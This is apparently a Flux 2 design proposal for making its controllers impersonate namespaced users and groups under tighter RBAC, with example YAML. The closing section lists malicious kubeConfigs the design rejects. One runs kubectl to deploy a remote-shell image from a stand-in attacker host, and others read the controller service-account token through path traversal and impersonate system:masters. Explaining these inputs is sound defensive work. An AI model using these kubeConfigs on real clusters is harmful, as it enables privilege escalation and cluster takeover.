31 KiB
Secure Impersonation
Context
Flux 2's installation model is built from CRD's. This allows cluster operators to granularly control who can create/modify Sources and Applier type objects such as GitRepository and Kustomization and for which Namespaces. This also helps out the Deployment model. While we could for example, still run independent instances of ex:kustomize-controller in each Namespace listening to only Kustomize resources for that Namespace, it can use fewer resources to deploy a single controller watching all (or many) Namespaces. Having a single controller reduces the onboarding steps necessary for a new Namespace owner to use Flux Custom Resources. A central set of controllers is the primary Deployment mode for Flux.
In order to manage resources across many Namespaces, the default install gives kustomize-controller and helm-controller a full cluster-admin ClusterRoleBinding. This means cluster owners need to be careful who can create Kustomizations and HelmReleases as well as which Sources are in the cluster due to the exposure they provide to act as cluster-admin. This restricts who can create Source and Apply type objects into a burdensome approval flow for cluster owners and provides poor delegation of self-service permissions which is a proven elements of good platforms.
Goals
Flux should remain easy to install but promote secure practices in its default configuration. Flux's security model should allow a cluster administrator to delegate self-service management of Sources, Applies, Webhooks, Automations, and Notifications to Namespace owners/users without having to review every detail for compliance to security policies. Tenants or Namespace owners should be able to act freely without fear that their changes will overreach their permissions.
Flux APIs must structurally prevent privilege escalation and arbitrary code execution. Flux APIs should be congruent with Kubernetes core API's security model.
The implementation should be usable and allow users quick, concise decisions regarding their security needs.
Design
Currently kustomize-controller and helm-controller apply Kustomizations and HelmReleases using their own ServiceAccount by default.
It's possible to drop privileges using a serviceAccountName
from the same Namespace -- this is more secure but this is an optional, explicit behavior.
The central controllers should change so they always assume a different User when applying and maintaining objects from manifests in Sources. They should never use a controller SA when managing these resulting Objects, even for Garbage Collection, Health-Checks, or "values-from" merging. This will allow the audit log to be more granularly examined for controllers' mutations on Flux APIs vs. GitOps-managed objects. This technique prevents cross-tenant information disclosure and privilege escalation through misused Health-Checks or Garbage Collection.
controller serviceAccounts
The controller ServiceAccounts are far overprivileged for Flux API operations. They should have a ClusterRoleBinding (or RoleBinding for single Namespace installs) for necessary Flux API Kinds and other needed objects such as ConfigMaps/Secrets + a separate ClusterRoleBinding for User Impersonation.
user/group names
All usernames impersonated by kustomize-controller and helm-controller for managing resources will be Namespaced relative to the Kustomization
/HelmRelease
object.
This is similar to the mechanism Kubernetes uses for ServiceAccount User names).
Kubernetes uses system:serviceaccount:{{namespace}}:{{metadata.name}}
for ServiceAccounts.
The Flux username format should be flux:user:{{namespace}}:{{spec.user}}
.
Alternatively flux could use the reserved prefix system:flux:user:<...>
-- this would break the rules, but make it less likely for other systems to accidentally or maliciously use the FluxUser namespace when authenticating with kube-apiserver.
The default spec.user
can be "reconciler".
A user field will be added to the Kustomization and HelmRelease spec.
It enables a partial override for the namespaced username the controller uses for that particular Kustomization
/HelmRelease
.
Namespace Owners can use the user override to optionally specify flux Users
with different Roles
/RoleBindings
for managing each workload,
similar to Pods specifying non-default serviceAccounts from the same Namespace.
- Con: RoleBinding against a FluxUser requires specifying the namespace in the username string which can be hard to do in a generic way with kustomize -- would need to document a kustomize example
Flux controllers will also impersonate two Groups.
The first is flux:users
which is a generic group, analogous to kubernetes' system:authenticated
-- binding against this group allows all reconcilers to access particular resources via RBAC.
The second is flux:users:{{namespace}}
, a namespace specific group which enables Namespace Owners to rolebind for reconcilers from another Namespace without mandating a particular username.
Neither of these groups are optional or overrideable -- they are a given property of each reconciler's Namespace and identity.
Note users
is plural in the Group names, but not for a single User -- this matches kubernetes SA's.
It could cause typos, but not matching k8s plural semantics could also be confusing. We could be silly and add both without notable consequence. 🚲🏠
Impersonation of Users and Groups is done via API Headers that are permitted for the controller ServiceAccounts.
- Con: controller SA's can impersonate any user or group, not just flux:user namespaced ones is explicitly specified via a ClusterRole (impractical,bad-ux) controller code needs to be trusted not to impersonate
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: flux-user-group-impersonator
rules:
- apiGroups: [""]
resources: ["users", "groups"]
verbs: ["impersonate"]
Using Namespaced Users and Groups provides a security boundary in the same way the ServiceAccount User names do. It's never allowed for a reconcile to impersonate a non-namespaced User or user from outside the Namespace of the particular reconcile resource. If a reconcile needs access to resources from another Namespace, the other Namespace can have a RoleBinding targeting the reconciler's differently namespaced User name. Alternatively, a ClusterRoleBinding on the reconciler's namespaced User name can grant access to all Namespaces.
serviceAccount impersonation
spec.serviceAccountName
will remain supported, but impersonating Users is preferable because it reduces the attack surface within a Namespace.
ServiceAccounts
produce privileged token Secrets in the same Namespace often for use within Pods
.
It's possible to impersonate a ServiceAccount
User name even when they don't exist, but it's possible to create the resource after the fact creating generated tokens without a change in the reconciler behavior.
This doesn't happen with impersonated Users
-- Users
don't have any object representation. This prevents Pods
in same Namespace as the Kustomization
/HelmRelease
from assuming the role of the privileged reconciler which would typically be an inappropriate privilege escalation.
Impersonation of reconciler ServiceAccounts is done via API Headers that are permitted for the controller ServiceAccounts. The FluxUser Groups can still be added to requests for impersonated ServiceAccounts. The token-fetching impersonation method currently implemented within kustomize-controller and helm-controller should be removed or flagged off. This is a trade-off:
- Pro: Simpler tenant configs -- possible to bind against and impersonate a ServiceAccount User name that "doesn't exist"/isn't represented by a Resource -- user not required to actually create an SA
- Pro: No per-tenant crypto/random-number dependency due to SA-tokens
- Pro: Controller SA's no longer require cluster-wide access to Secrets
- Pro: Possible to configure controller to only have ServiceAccount impersonation via RBAC -- disable arbitrary User and Group Impersonation if controller code is untrusted (prevent use of
flux:user:*
) - Con: Single namespace installs of Flux controllers may depend on ClusterRoleBindings to flux-sa-impersonator which requires cluster-admin setup permissions.
Cannot(?) restrict ServiceAccount User impersonation to specific namespaces.
Compare to SA's and token Secrets which a Namespace admin has full access to only within their Namespace.
SA Token Impersonation allows single namespace installs to have less dependency on the cluster-admin (as long as Flux CRD's are already registered) while still keeping reconciler specific users.
For this reason, it may be nice to keep
--sa-token-impersonation
as a controller flag and support it with the single-namespace installation option, despite the faults /w using SA's. It's possible to do some heuristic fallback here, but it could complicate things.
If SA Token impersonation is enabled, impersonated FluxUser Groups are omitted from the request.
ServiceAccounts still have a Group that you can rolebind against: system:serviceaccounts:{{namespace}}
.
defaulting
Behavior must be clarified when both user
and serviceAccountName
are provided.
It should probably be a validation or runtime error condition.
If we make this a singleton in the API, we could prevent this structural issue, but it will be a bigger breaking change:
# example singleton style API
spec:
user:
kind: ServiceAccount # defaults to User
name: reconciler-svc
If user
and serviceAccountName
are unset/empty-strings, the default FluxUser (proposed: reconciler
) is used.
Alternatively, we could use CRD defaulting, but this puts other considerations on the design with detecting empty values.
kubeConfig
Kustomization and HelmRelease already have a kubeConfig
option in addition to serviceAccountName
and the proposed user
.
KubeConfig's are loaded from Secrets in the same Namespace in the style of Cluster API.
They are safe to use literally as their own credential, since the FluxUser can be granted access to it as opposed to problematically assuming a controller SA.
Not all kubeConfigs may be assumed to have impersonation rights, but there is no field that explicitly disables User impersonation.
When user
/serviceAccountName
is unset and kubeConfig
is non-empty, we could decide to ignore impersonation, and use the literal credential.
Impersonation of Users and ServiceAccounts as well as ServiceAccount Token Impersonation can still function with an explicitly set value and does work across cluster boundaries.
An impersonated User for the remote cluster will always match the Namespace used for the reconciler in the source cluster.
KubeConfigs that mention the controller SA token in /var/run/secrets/kubernetes.io/serviceaccount
must be rejected, because this is a privilege escalation route.
These filepaths need to be resolved to absolute paths before they are checked to prevent subversive path traversal via symlinks.
KubeConfigs that set users[].user.exec.command
or users[].user.auth-provider.config.cmd-path
should be rejected unless all [command|cmd-path]
values return
an os.exec.LookPath()
inside the /kubeconfig-bin/
of the controller Pod filesystem.
While executing the kubeConfig, the $PATH
likely needs to be preserved in case the auth-helper needs to execute other POSIX binary dependencies.
Restricting [command|cmd-path]
to /kubeconfig-bin/
allows the administrator an opt-in directory where they can add tools they trust/accept like gcloud
and aws-iam-authenticator
while disallowing access to more dangerous binaries like kubectl
. This mechanism is somewhat inspired by /sbin
and setuid
binaries.
Using exec helpers is not an approach used by Cluster API. In addition to being insecure, it's not possible to distrubite controllers containing all of the necessary binaries to support all kubernetes platforms. Cluster API providers instead schedule regular updates to kubeConfig Secret data which is more tenant friendly and dependency-free.
Regardless, we must sanitize the kubeConfig, so it's easy to add a restricted, PATH-based allow-list that the flux-system owner can control if they choose to manage remote clusters in this way.
sourceRefs
Controllers should impersonate the reconciler User when fetching sourceRefs.
This allows for users to open up Source access policies via RBAC, rather than relying on a Gatekeeper or Kyverno installation to restrict default Flux behavior.
ClusterRoles should exist for the Source controller API's flux-source-viewer
, flux-gitrepo-viewer
, flux-helmrepo-viewer
, flux-bucket-viewer
, etc.
FluxUsers should be bound explicitly against these ClusterRoles, either with RoleBindings (for single Namespaces) or ClusterRoleBindings.
Cross-Namespace access of Sources can be enabled per Namespace or across the whole cluster via RoleBindings/ClusterRoleBindings to a FluxUser, Flux Group, or All FluxUsers.
Kinds of sources can be differentiated, and individual Sources can be permitted per-User/Group through resourceNames
within Role rules.
The current API objects that use sourceRefs are Kustomization
and HelmChart
.
Kustomization
and HelmRelease
have the serviceAccountName
proposed user
fields for impersonation.
Both of these impersonation fields should also be added to HelmChart
because reconciling one requires accessing other Sources.
source-controller will need impersonation behavior implemented /w additional RBAC and any supporting flags/options.
Alternatively, HelmChart
could be moved into the helm-controller control loops instead of source-controller.
It's not sufficient to gate the creation of HelmCharts
based off of a sourceRef
permission check in HelmRelease
;
RBAC rules can change at any time, so the source-controller API client should have the constraints of the impersonated User.
If a kubeConfig is specified for a resource that specifies a sourceRef, a separate client matching the same User or SA from the remote cluster is used in the source cluster. This is sensible because the User for the remote cluster must match the source cluster's reconciling Namespace. If no User is specified for the remote cluster, the default FluxUser is impersonated to fetch the sourceRef from the source cluster.
notifications
notification-controller needs to be able to impersonate FluxUsers and ServiceAccounts.
Recievers
specify resources
which are Sources -- Alerts
specify eventSources
which can be Sources or Applies.
Both impersonation fields should also be added to Recievers
and Alerts
to allow for the same kind of access polices possible with sourceRefs.
This will prevent any cross-tenant misuse of the notification API's: notably denial-of-service through Recievers and information-disclosure through Alerts. Providers appear to be safe as is.
The default install's flux-system:cluster-admin FluxUser can still be used to configure Recievers and Alerts for all objects in the cluster. In this configuration, other Namespaces will need to be granted access.
It might be possible to get alert.spec.eventSources
and reciever.spec.resources
to work across clusters by specifying kubeConfig
;
this could open up some interesting management cluster patterns for monitoring credentials and centralized webhooks.
cluster-role aggregation
We should use ClusterRole Aggregation to configure the the top-level flux ClusterRoles.
This means we can define flux-gitrepo-viewer
, flux-helmrepo-viewer
, flux-bucket-viewer
and use an aggregation label to define flux-source-viewer
without repeating ourselves.
Adding another source in the future does not require updating the flux-source-viewer
object, just creating a new aggregated role.
It's possible to take this one step further and aggregate flux-source-viewer
into the kubernetes default role for edit
.
It would be useful for view
as well, depending on your security model.
flux-apply-editor
and flux-source-editor
might be a good ClusterRoles to aggregate under admin
since it's useful for enabling tenants to be
self-service within their Namespace from their own control-repo.
We need to work out which roles are appropriate to aggregate under any default Kubernetes roles, and whether this should be done with a default flux install or taken as an install option.
Note:
admin
is an aggregated role containingedit
which containsview
, butcluster-admin
is not an aggregated role -- it explicitly allows all resources including any Flux objects.
kubectl
client-go
currently has an issue where kubectl --as=user --as-group=group
is ignored when using the in-cluster config
for Pod ServiceAccount tokens.
This prevents kustomize-controller from using its Pod ServiceAccount to impersonate FluxUsers when applying resources
by exec'ing kubectl
.
The workaround to this bug is to heuristically detect the in-cluster config and supply it explicitly with equivalent
flags or a kubeConfig file for the token, CA, apiserver-endpoint, and protocol.
This bug affects all binaries using client-go's flag-options parser, but does not affect libraries like helm that use
injected clients.
We can maintain a workaround library that shims the kubectl exec or move to using kubectl as a library directly.
Concerns
compatibiliity
These changes are mostly breaking. Existing Flux deployments are not going to have RBAC configured for every reconciler.
Some reconciler ServiceAccounts may need flux-source-viewer
bound to them.
Others may prefer to update their serviceAccountNames to user.
Migration/Upgrade documentation will be necessary.
It's possible to build a tool-assisted migration that modifies resources in a git repo. (flux migrate <git-repo-path>
?)
performance
Flux controllers will be using many more Kubernetes client Objects, informers, and caches. Storing a map of Flux Users to clients/caches might be a good first step. kubeConfig client/caches are not stored currently, which was an explicit decision to support refreshing clients, this this doesn't have to be true for all kubeConfigs.
We have done some performance testing in the past, but it would be good to have a strategy/tools to help us understand performance regressions.
Decisions
Direction should be decided on the following:
flux:user
vs.system:flux:user
User prefixflux:users
vs.flux:user
Group prefix- default FluxUser name (proposed: "reconciler")
- source-controller impersonation vs. HelmChart moving to helm-controller
- HelmChart templates specifying a different user/serviceAccountName than their parent HelmRelease
- kubeConfig for management cluter usage of notification-controller Recievers and Alerts
- user + serviceAccount validation vs. API change deprecating
serviceAccountName
- user / serviceAccount defaulting or empty value behavior
- kubeConfigs require impersonation permission vs. no impersonation on empty or default API value
- serviceAccount token impersonation feature-flag
- ClusterRole aggregation for flux objects in k8s default
view
,edit
,admin
Tasks
- add
user
to Kustomization - add
user
to HelmRelease - add
user
,serviceAccountName
to HelmChart - create client generation library for kubeConfig, user, serviceAccountName
- use client-gen library in kustomize-controller
- sourceRefs
- garbage-collector
- prune
- use client-gen library in helm-controller
- sourceRefs
- helm client
- valuesFrom
- use client-gen library in source-controller -- alternatively move HelmChart into helm-controller
- sourceRefs
- use client-gen library in notification-controller
- eventSources
- resources
- kubeConfig?
- ensure 403's/404's for unauthorized upadte Kustomization/HelmRelease status
- create kubectl shim
- decide on exec + workaround or library
- implement impersonation /w flux users and groups
- accept kubeConfig override
- update kubeConfig lib
- reject non
/kubeconfig-bin/
cmdpath
kubeConfigs - reject in-cluster credential kubeConfigs
- ensure rejected kubeConfigs update Kustomization/HelmRelease status
- reject non
- use kubectl shim in kustomize-controller
- ensure 403's/404's for unauthorized upadte Kustomization/HelmRelease status
- split up controller ServiceAccounts
- create minimal SA for source-controller
- create minimal SA for kustomize-controller
- create minimal SA for helm-controller
- create minimal SA for notification-controller
- update RBAC for
flux bootstrap
- enable User/Group/ServiceAccount impersonation for proper controllers
- Update
gotk-sync.yaml
to use explicit admin user, default User is unused but separately useful in flux-system - ClusterRoleBind
cluster-admin
toflux:user:flux-system:admin
- create ClusterRoles for
flux-source-viewer
,flux-gitrepo-viewer
,flux-helmrepo-viewer
,flux-bucket-viewer
- create ClusterRoles for
flux-source-editor
,flux-gitrepo-editor
,flux-helmrepo-editor
,flux-bucket-editor
- create ClusterRoles for
flux-apply-viewer
,flux-kustomization-viewer
,flux-helmrelease-viewer
- create ClusterRoles for
flux-apply-editor
,flux-kustomization-editor
,flux-helmrelease-editor
- aggregate necessary roles under the default k8s
view
,edit
,admin
- update
flux create tenant
- change RoleBinding to namespaced, default, tenant FluxUser -- remove ServiceAccount
- bind
admin
to tenant FluxUser (optionallycluster-admin
to allow tenant to manage LimitRanges and delete their own Namespace?) - bind
flux-source-viewer
to tenant FluxUser - unhide the tenant command
Examples
default install
Since impersonation within the cluster is always required, the default install must have explicit RBAC
for the existing defaulted cluster-admin access.
A flux-system managed by flux bootstrap
will have a gotk-sync.yaml
that has these fields:
kind: GitRepository
metadata:
name: flux-system
spec:
# ...
---
kind: Kustomization
metadata:
name: flux-system
spec:
user: cluster-admin # explicit use of clustre-admin instead of default reconciler
# ...
---
kind: ClusterRoleBinding # note: this does not live within the flux-system Namespace, even though it's underneath the folder
metadata:
name: flux-system-cluster-admin
roleRef:
kind: ClusterRole
name: cluster-admin
subjects:
- kind: User
name: flux:user:flux-system:cluster-admin
tenants
The tenant sub-command should be changed to encourage the user to create a matching Source and Apply object. Alternatively, it could take in some sourceRef generation flags.
The --with-namespace
flag allows for cross-namespace binding against the tenant-user that will be impersonated.
Running flux create tenant dev-team --with-namespace frontend --with-namespace backend --export
produces this RBAC:
#### dev-team tenant NS
kind: Namespace
metadata:
name: dev-team # the Kustomization or HelmRelease should be in this Namespace
---
kind: RoleBinding
metadata:
name: reconciler-flux-source-viewer
namespace: dev-team
roleRef:
kind: ClusterRole
name: flux-source-viewer # read Sources from the same NS
subjects:
- kind: User
name: flux:user:dev-team:reconciler
---
kind: RoleBinding
metadata:
name: reconciler-admin
namespace: dev-team
roleRef:
kind: ClusterRole
name: admin # admin access to tenant's own "dev-team" NS
subjects:
- kind: User
name: flux:user:dev-team:reconciler
---
#### frontend
kind: Namespace
metadata:
name: frontend
---
kind: RoleBinding
metadata:
name: reconciler-admin
namespace: frontend
roleRef:
kind: ClusterRole
name: admin # admin access to other NS
subjects:
- kind: User
name: flux:user:dev-team:reconciler
---
#### backend
kind: Namespace
metadata:
name: backend
---
kind: RoleBinding
metadata:
name: reconciler-admin
namespace: backend
roleRef:
kind: ClusterRole
name: admin # admin access to other NS
subjects:
- kind: User
name: flux:user:dev-team:reconciler
cross-namespace binding against Flux Groups
An infrastructure
Namespace owner can allow any dev-team
reconciler User (using their Flux Group) to
create health-checks that depend on Kustomizations from the infrastructure
Namespace.
This information is otherwise private unless a RoleBinding like this allows this access.
kind: RoleBinding
metadata:
name: flux-users-kustomization-viewer
namespace: infrastructure
roleRef:
kind: ClusterRole
name: flux-kustomization-viewer
subjects:
- kind: Group
name: flux:users:dev-team
A cluster owner can use a ClusterRoleBinding to grant view
to any Flux User (via the Group)
kind: ClusterRoleBinding
metadata:
name: flux-all-users-view
roleRef:
kind: ClusterRole
name: view
subjects:
- kind: Group
name: flux:users
opening Source policies with RBAC
Accessing Sources across Namespaces is denied by defaultl.
A flux-sytem
owner can allow HelmReleases from the production
Namespace access to a specific HelmRepository.
from the flux-system
Namespace.
If the production
Namespace does not grant any other Source access, this is the only usable HelmRepository.
kind: Role
metadata:
name: view-helmrepo-stable
namespace: flux-system
rules:
- apiGroups: ["helm.toolkit.fluxcd.io/v2beta1"]
resources: ["helmrelease"]
verbs: ["get", "watch", "list"]
resourceNames: ["stable"]
---
kind: RoleBinding
metadata:
name: flux-production-helmrepo-stable-viewer
namespace: flux-system
roleRef:
kind: Role
name: view-helmrepo-stable
subjects:
- kind: Group
name: flux:users:production
A cluster owner can use a ClusterRoleBinding to grant flux-source-viewer
to any Flux User (via the Group).
With this, any Flux User can now specify any Source from any Namespace.
Without it, referencing a cross-namespace Source will result in an error condition on the reconciling API object (Kustomization/HelmRelease).
kind: ClusterRoleBinding
metadata:
name: flux-all-users-view
roleRef:
kind: ClusterRole
name: flux-source-viewer
subjects:
- kind: Group
name: flux:users
impact on helmChart templates
Both HelmReleases and HelmCharts require a FluxUser to impersonate, either for releasing the chart or copying it from the sourceRef.
For existing HelmReleases, both the HelmRelease and resulting HelmChart template will use to the same effective default FluxUser ("reconciler").
Adding a user to a HelmRelease will copy the user or serviceAccountName to the HelmChart template:
kind: HelmRelease
metadata:
name: login-app
namespace: frontend
spec:
user: frontend-app
chart:
name: ./charts/login-app
# user: frontend-app # inherited from the parent HelmRelease when unspecified
sourceRef:
kind: GitRepository
name: frontend-app
Specifying a different FluxUser for the Chart template is strangely/controversially sensible and valid:
kind: HelmRelease
metadata:
name: login-app
namespace: frontend
spec:
user: frontend-app
chart:
name: ./charts/login-app
user: frontend-app-source-viewer # the template has a different user
sourceRef:
kind: GitRepository
name: frontend-app
rejecting kubeConfigs
Given a Kustomzation that references a kubeConfig Secret:
kind: Kustomization
spec:
kubecConfig:
secretRef:
name: stage-cluster-kubeconfig
The following kubeConfigs will only be used to create a client if gcloud
or aws-iam-authenticator
comes from /kubeconfig-bin/
within the kustomize-controller fs.
Otherwise it's rejected and an error is posted to the Kustomization status.
kind: Secret
metadata:
name: stage-cluster-kubeconfig
value: |
users:
- name: gke-example
user:
auth-provider:
name: gcp
config:
cmd-args: config config-helper --format=json
cmd-path: gcloud
expiry-key: '{.credential.token_expiry}'
token-key: '{.credential.access_token}'
kind: Secret
metadata:
name: dev-cluster-kubeconfig
value: |
users:
- name: aws-example
user:
auth-provider:
exec:
apiVersion: client.authentication.k8s.io/v1alpha1
args: [token, -i, cluster-name]
command: aws-iam-authenticator
env: {name: AWS_<redacted>}
This dangerous kubeConfig will likely be rejected unless the flux-system admin permits kubectl
to be exec'd for an auth provider in /kubeconfig-bin/
:
kind: Secret
metadata:
name: malicious-kubectl-kubeconfig
value: |
users:
- name: gke-example
user:
auth-provider:
name: gcp
config:
cmd-path: kubectl
cmd-args: create deploy debug --image attacker.example.com/remote-shell
expiry-key: '{.credential.token_expiry}'
token-key: '{.credential.access_token}'
These kubeConfigs will always be rejected, because they allow a user to bypass FluxUsers and use the controller SA:
kind: Secret
metadata:
name: local-kubeconfig
value: |
clusters:
- name: local
cluster:
server: https://kubernetes.default.svc.cluster.local
certificate-authority: /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
users:
- name: controller-sa
user:
tokenFile: /var/run/secrets/kubernetes.io/serviceaccount/token
kind: Secret
metadata:
name: local-impersonating-kubeconfig
value: |
clusters:
- name: local
cluster:
server: https://kubernetes.default.svc.cluster.local
certificate-authority: /home/../var/run/secrets/kubernetes.io/serviceaccount/ca.crt
users:
- name: controller-sa-impersonator
user:
tokenFile: ../../../../../../../../var/run/secrets/../secrets/kubernetes.io/serviceaccount/token
as: admin
as-groups:
- system:masters
as-user-extra:
reason:
- evil